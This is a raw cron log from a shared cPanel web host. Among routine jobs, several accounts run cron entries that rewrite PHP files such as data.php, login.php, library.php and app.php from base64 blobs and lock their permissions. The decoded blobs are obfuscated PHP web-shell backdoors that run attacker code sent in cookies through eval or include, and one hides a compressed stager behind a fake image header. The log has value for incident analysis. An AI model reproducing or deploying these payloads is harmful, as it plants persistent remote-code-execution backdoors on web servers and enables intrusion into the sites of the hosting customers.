Mar  2 09:46:02 medusa CROND[28574]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:46:02 medusa CROND[28573]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:46:02 medusa CROND[28579]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:46:02 medusa CROND[28581]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:46:02 medusa CROND[28584]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:46:02 medusa CROND[28582]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:46:02 medusa CROND[28596]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:46:02 medusa CROND[28597]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:46:02 medusa CROND[28600]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:46:02 medusa CROND[28604]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:47:01 medusa CROND[13752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:47:01 medusa CROND[13753]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:47:01 medusa CROND[13755]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:47:01 medusa CROND[13759]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:47:01 medusa CROND[13763]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 09:47:01 medusa CROND[13764]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:47:01 medusa CROND[13765]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:47:01 medusa CROND[13767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:47:01 medusa CROND[13768]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 09:47:01 medusa CROND[13769]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:47:01 medusa CROND[13770]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:47:01 medusa CROND[13772]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:47:01 medusa CROND[13749]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:48:01 medusa CROND[2284]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:48:01 medusa CROND[2367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:48:01 medusa CROND[2555]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:48:01 medusa CROND[2557]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:48:01 medusa CROND[2559]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:48:01 medusa CROND[2562]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
